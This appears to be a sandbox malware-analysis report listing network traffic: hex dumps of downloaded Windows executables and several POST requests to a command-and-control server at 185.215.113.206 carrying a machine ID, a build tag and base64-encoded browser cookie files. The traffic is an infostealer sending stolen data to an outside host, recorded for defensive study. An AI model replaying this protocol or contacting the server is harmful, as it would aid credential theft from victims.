00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 12:35:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 12:35:45 GMTContent-Type: application/octet-streamContent-Length: 3224064Last-Modified: Tue, 12 Nov 2024 12:24:58 GMTConnection: keep-aliveETag: "6733491a-313200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 40 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 31 00 00 04 00 00 e2 ad 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 27 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 27 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 64 63 6b 78 6c 68 79 00 80 2a 00 00 b0 06 00 00 78 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 68 77 65 6f 63 74 77 00 10 00 00 00 30 31 00 00 04 00 00 00 0c 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 31 00 00 22 00 00 00 10 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 12:36:08 GMTContent-Type: application/octet-streamContent-Length: 1782784Last-Modified: Tue, 12 Nov 2024 12:24:50 GMTConnection: keep-aliveETag: "67334912-1b3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 80 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 68 00 00 04 00 00 d1 aa 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 76 6c 6b 6a 72 64 7a 00 a0 19 00 00 d0 4e 00 00 98 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 77 6e 7a 6d 6c 68 62 00 10 00 00 00 70 68 00 00 04 00 00 00 0e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 68 00 00 22 00 00 00 12 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 12:36:20 GMTContent-Type: application/octet-streamContent-Length: 2745856Last-Modified: Tue, 12 Nov 2024 12:23:54 GMTConnection: keep-aliveETag: "673348da-29e600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 1e 76 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6f 78 6e 6b 6d 65 61 00 a0 29 00 00 a0 00 00 00 84 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 62 71 67 62 6a 64 70 00 20 00 00 00 40 2a 00 00 06 00 00 00 be 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 c4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 37 42 37 37 30 42 43 37 46 32 31 34 38 37 37 32 38 38 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="hwid"3F87B770BC7F2148772887------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="build"mars------JJJKFBAAAFHJEBFIEGID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFIIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 2d 2d 0d 0a Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="message"browsers------JKFHIIEHIEGDHJJJKFII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="message"plugins------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHCFIDHIDGIDHJEHIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 2d 2d 0d 0a Data Ascii: ------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="message"fplugins------IIEHCFIDHIDGIDHJEHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJKHost: 185.215.113.206Content-Length: 6819Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AFBFHDBKJEGHJJJKFIIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCAAFBFBKFIDGDHJDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 